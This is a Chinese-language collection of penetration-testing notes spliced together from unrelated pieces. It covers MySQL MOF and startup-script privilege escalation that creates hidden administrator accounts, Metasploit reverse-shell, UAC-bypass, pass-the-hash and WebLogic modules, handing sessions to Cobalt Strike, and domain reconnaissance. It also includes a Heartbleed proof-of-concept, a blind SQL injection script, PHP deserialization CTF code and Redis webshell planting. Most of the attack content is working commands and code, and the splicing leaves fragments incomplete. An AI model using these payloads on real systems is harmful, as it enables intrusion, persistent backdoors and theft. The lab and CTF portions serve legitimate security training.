select load_file('mof提权文件及路径') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'
利用方法
1.使用msf自带的mof模块提权
1 2 3 4 5 6 7 8 9 10
use exploit/windows/mysql/mysql_mof # 设置payload set payload windows/meterpreter/reverse_tcp # 设置目标 MySQL 的基础信息 set rhosts 192.168.127.132 set username root set password root run
#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
其中核心payload为:
1
var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")
是将一段 VBS脚本导入到 C:\Documents and Settings\All Users\「开始」菜单\程序\启动 下,如果管理员重启了服务器,那么就会自动调用该脚本,并执行其中的用户添加及提权命令!
利用方式
1.直接上传脚本
VBS 提权脚本代码如下:
1 2 3 4 5 6 7 8 9
setwsnetwork=CreateObject("WSCRIPT.NETWORK") os="WinNT://"&wsnetwork.ComputerName Set ob=GetObject(os) Setoe=GetObject(os&"/Administrators,group") Set od=ob.Create("user","secist") od.SetPassword "secist.com" od.SetInfo Set of=GetObject(os&"/secist",user) oe.add os&"/secist"
将以上代码保存为 .vbs 后缀的文件上传即可
通过大马的MYSQL执行功能,利用SQL命令来进行VBS脚本的创建和添加
1 2 3 4 5
create table secist(cmd text); insert into secist values("set wshshell=createobject(""wscript.shell"")"); insert into secist values("a=wshshell.run(""cmd.exe /c net user secist secist.com /add"",0)"); insert into secist values("b=wshshell.run(""cmd.exe /c net localgroup administrators secist /add"",0)"); select * from secist into dumpfile "C:\Documents and Settings\All Users\「开始」菜单\程序\启动\secist.vbs";
use exploit/windows/local/bypassuac #该模块运行时会因为在目标机上创建多个文件而被杀毒软件识别,因此通过该模块提权成功率很低。 use exploit/windows/local/bypassuac_injection #该模块直接运行在内存的反射DLL中,所以不会接触目标机器的硬盘,从而降低了被杀毒软件检测出来的概率。
MSF中Bypassuac模块的使用前提有两个:
一是系统当前用户必须在管理员组中,
二是用户账户控制程序UAC设置为默认,即 “仅在程序试图更改我的计算机时通知我” 。
1 2 3 4 5
use exploit/windows/local/bypassuac set session 1 #已经拿下一个交互式会话,background设置为后台之后的sessionID set lhost 0.0.0.0 set lport 24444 #本地监听的端口,随便设置一个未被占用的端口即可 exploit
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.111.128 lport=5566 -f dll -o libssl-1_1.dll 开启监听 use multi/handler set payload windows/meterpreter/reverse_tcp set lhost 0.0.0.0 set lport 5566 run
net view # 查看局域网内其他主机名 net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域 net user # 查看本机用户列表 net user /domain # 查看域用户 net localgroup administrators # 查看本地管理员组(通常会有域用户) net view /domain # 查看有几个域 net user 用户名 /domain # 获取指定域用户的信息 net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作) net group 组名 /domain # 查看域中某工作组 net group "domain admins" /domain # 查看域管理员的名字 net group "domain computers" /domain # 查看域中的其他主机名 net group "doamin controllers" /domain # 查看域控制器主机名(可能有多台)
1.先判断是否存在域,有两种方法, 查看 DNS 服务器,发现主 DNS 后缀不为空,存在域god.org
在cobaltstrike的交互式界面输入命令
1
shell ipconfig /all
1
net config workstation
来查看当前计算机名、全名、用户名、系统版本、工作站、域、登录域等全面的信息
从以上的操作可以得知域的名称是.god.org
2.当前登录域为 GOD ,然后再执行net view /domain查看有几个域(可能有多个)
3.使用net group /domain查看组用户(组账户信息)
4.确认域控主机的名字
既然只有一个域,那就 net group “domain controllers” /domain查看域控主机的名称
可以确认是OWA
5.查看域内其他主机的信息
确认域控主机的名称为 OWA 再执行 net view 查看局域网内其他主机信息(主机名称、IP地址)
以exploit/windows/smb/psexec模块哈希传递攻击 Windows Server 2008 为例:
1 2 3 4 5 6
use exploit/windows/smb/psexec set rhosts 192.168.52.138 set smbuser administrator set smbpass 00000000000000000000000000000000:8da5b9365830238e064c67c6f7db9dc4 set smbdomain god run
1.端口存在返回状态码 returned a 404 error code 2.端口不存在 but could not connect over HTTP to server 3.非http协议 did not have a valid SOAP content-type 4.协议没写 no protocol
例如 当我们访问一个不存在的端口时,比如 http://127.0.0.1:1234 将会返回:could not connect over HTTP to server
use exploit/multi/misc/weblogic_deserialize_asyncresponseservice show options 查看一些参数 set rhosts 192.168.111.80 set lhost 192.168.111.128 set target 1 run
不知道为什么,之前都不行,后面试了一下就成功了
拿到shell,尝试进行提权
1 2
getuid getsystem
提权失败
3.内网渗透
MSF派生CS
1
./teamserver 192.168.111.128 123456
开启客户端界面,成功连接之后创建一个监听器,payload设为Beacon HTTP
在msf进行如下操作:
1 2 3 4 5 6 7 8
background 我们之前的meterprete的session id为1 use exploit/windows/local/payload_inject set payload windows/meterpreter/reverse_http set DisablePayloadHandler true set lhost 192.168.111.128 set lport 12345 set session 1 要和之前的meterprete的session id相同,否则会显示会话参数错误 run
所设端口要和我们监听器的端口一样
成功执行之后返回CS中查看
可以看到CS成功上线
点击权限提升,就使用我们之前创建的监听器,提权方式就使用他默认选择的svc-exe就行
提权成功,权限成功提升为system
域内信息搜集
1
shell ipconfig /all
1
shell net user /domain #查看域控
1
shell net group "domain computers" /domain # 查看域中的其他主机名
在 Apache HTTP Server 中,CGI(Common Gateway Interface)和 CGID(CGI Daemon)是用于处理动态内容的机制。它们允许 Web 服务器与外部程序(通常是脚本或可执行文件)进行交互,生成动态的 Web 页面内容。CGI 机制允许将用户的请求传递给一个外部脚本或程序,然后将该程序的输出作为响应返回给客户端。
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) # The author disclaims copyright to this source code.
import sys import struct import socket import time import select import binascii import re from optparse import OptionParser
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
def hexdump(s: bytes): for b in range(0, len(s), 16): lin = [c for c in s[b : b + 16]] hxdat = ' '.join('%02X' % c for c in lin) pdat = ''.join((chr(c) if 32 <= c <= 126 else '.' )for c in lin) print(' %04x: %-48s %s' % (b, hxdat, pdat))
print("")
def recvall(s, length, timeout=5): endtime = time.time() + timeout rdata = b'' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: return None r, w, e = select.select([s], [], [], 5) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdata
def recvmsg(s): hdr = recvall(s, 5) if hdr is None: print('Unexpected EOF receiving record header - server closed connection') return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: print('Unexpected EOF receiving record payload - server closed connection') return None, None, None print(' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))) return typ, ver, pay
def hit_hb(s): s.send(hb) while True: typ, ver, pay = recvmsg(s) if typ is None: print('No heartbeat response received, server likely not vulnerable') return False
if typ == 24: print('Received heartbeat response:') hexdump(pay) if len(pay) > 3: print('WARNING: server returned more data than it should - server is vulnerable!') else: print('Server processed malformed heartbeat, but did not return any extra data.') return True
if typ == 21: print('Received alert:') hexdump(pay) print('Server returned error, likely not vulnerable') return False
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print('Connecting...') sys.stdout.flush() s.connect((args[0], opts.port)) print('Sending Client Hello...') sys.stdout.flush() s.send(hello) print('Waiting for Server Hello...') sys.stdout.flush() while True: typ, ver, pay = recvmsg(s) if typ == None: print('Server closed connection without sending Server Hello.') return # Look for server hello done message. if typ == 22 and pay[0] == 0x0E: break
在该漏洞中,非法字符空格和截止符(\0)可能会导致 Nginx 在解析 URI 时的有限状态机(Finite State Machine)出现混乱。有限状态机是一种计算模型,用于描述具有有限数量状态和规则转换的系统。在 Nginx 中,有限状态机用于解析和处理客户端请求。
举个例子来说明:假设服务器上存在一个文件名为 “file.aaa “,注意文件名的最后一个字符是空格。在正常情况下,当我们使用 URI 访问该文件时,应该是:”http://example.com/file.aaa “。然而,在存在该漏洞的情况下,攻击者可以通过构造特殊的请求来绕过 URI 后缀名限制。
<?php include 'flag.php'; class pkshow { function echo_name() { return "Pk very safe^.^"; } }
class acp { protected $cinder; public $neutron; public $nova; function __construct() { $this->cinder = new pkshow; } function __toString() { if (isset($this->cinder)) return $this->cinder->echo_name(); } }
class ace { public $filename; public $openstack; public $docker; function echo_name() { $this->openstack = unserialize($this->docker); $this->openstack->neutron = $heat; if($this->openstack->neutron === $this->openstack->nova) { $file = "./{$this->filename}"; if (file_get_contents($file)) { return file_get_contents($file); } else { return "keystone lost~"; } } } }
<?php class acp { protected $cinder; public $neutron; public $nova; function __construct() { $this->cinder = new ace; } } class ace { public $filename='flag.php'; public $openstack; public $docker; } $a=new acp(); $b=new ace(); $b->docker=null; echo urlencode(serialize($a)); ?>
if(preg_match('/pass_the_level_1#/', $aaa)){ echo "here is level 2"; if (isset($_POST['admin']) and isset($_POST['root_pwd'])) { if ($_POST['admin'] == $_POST['root_pwd']) echo '<p>The level 2 can not pass!</p>'; // START FORM PROCESSING else if (sha1($_POST['admin']) === sha1($_POST['root_pwd'])){ echo "here is level 3,do you kown how to overcome it?"; if (isset($_POST['level_3'])) { $level_3 = json_decode($_POST['level_3']); if ($level_3->result == $result) { echo "success:".$flag; } else { echo "you never beat me!"; } } else{ echo "out"; } } else{ die("no"); } // perform validations on the form data } else{ echo '<p>out!</p>'; }
url='http://1.14.71.254:28279/login.php' dict = '0123456789qwertyuiopasdfghjklzxcvbnm-' flag='' for j in range(50): for i in dict: data={ "username":"bilala", "passwd":f"1'/**/or/**/passwd/**/like/**/'{flag+i}%'#" } res=requests.post(url,data=data) if "nothing found" not in res.text: flag=flag+i print(flag) break
Welcome to DC-3. 欢迎来到DC-3。 This time, there is only one flag, one entry point and no clues. 这一次,只有一个flag,一个入口点,没有任何线索。 To get the flag, you'll obviously have to gain root privileges. 要获得flag,您显然必须获得root权限。 How you get to be root is up to you - and, obviously, the system. 你如何成为root取决于你 - 显然,还有系统。 Good luck - and I hope you enjoy this little challenge. :-)
Good to see that you’ve made it this far - but you’re not home yet.You still need to get the final flag (the only flag that really counts!!!).No hints here - you’re on your own now. :-)Go on - git outta here!!!
1 2 3 4 5 6 7 8
Good to see that you've made it this far - but you're not home yet. 很高兴看到你走了这么远-但你还没回家。 You still need to get the final flag (the only flag that really counts!!!). 你仍然需要得到最终的标志(唯一真正重要的标志!!!) # 就是root嘛,懂的 No hints here - you're on your own now. :-) 这里没有提示-你现在只能靠自己了。:-) Go on - git outta here!!!! 去吧,离这里远点 #是用 git 提权吗
config get dir #查看redis数据库路径 config set dbfilename 22.php #生成22.php文件 set xxx "\r\n\r\n<?php phpinfo();?>\r\n\r\n"#将一句话木马写入文件中 #"\r\n\r\n"是换行的意思,用redis写入文件会自带一些版本信息,如果不换行可能导致无法执行。 set xxx "\r\n\r\n<?php eval($_POST[whoami]);?>\r\n\r\n"#上传木马可以通过蚁剑连接 save#保存
中间有一步是修改路径。后来发现可以不要,接下来去靶机看看是否写入成功
可以看到已经写入成功了。到这里但是发现怎么都连接不上,所以就尝试着修改路径:
1
config set dir /var/www/html
接下来的操作和之前的一样,先进行phpinfo()的测试
1 2 3
config set dbfilename test.php set xxx "\r\n\r\n<?php phpinfo();?>\r\n\r\n" save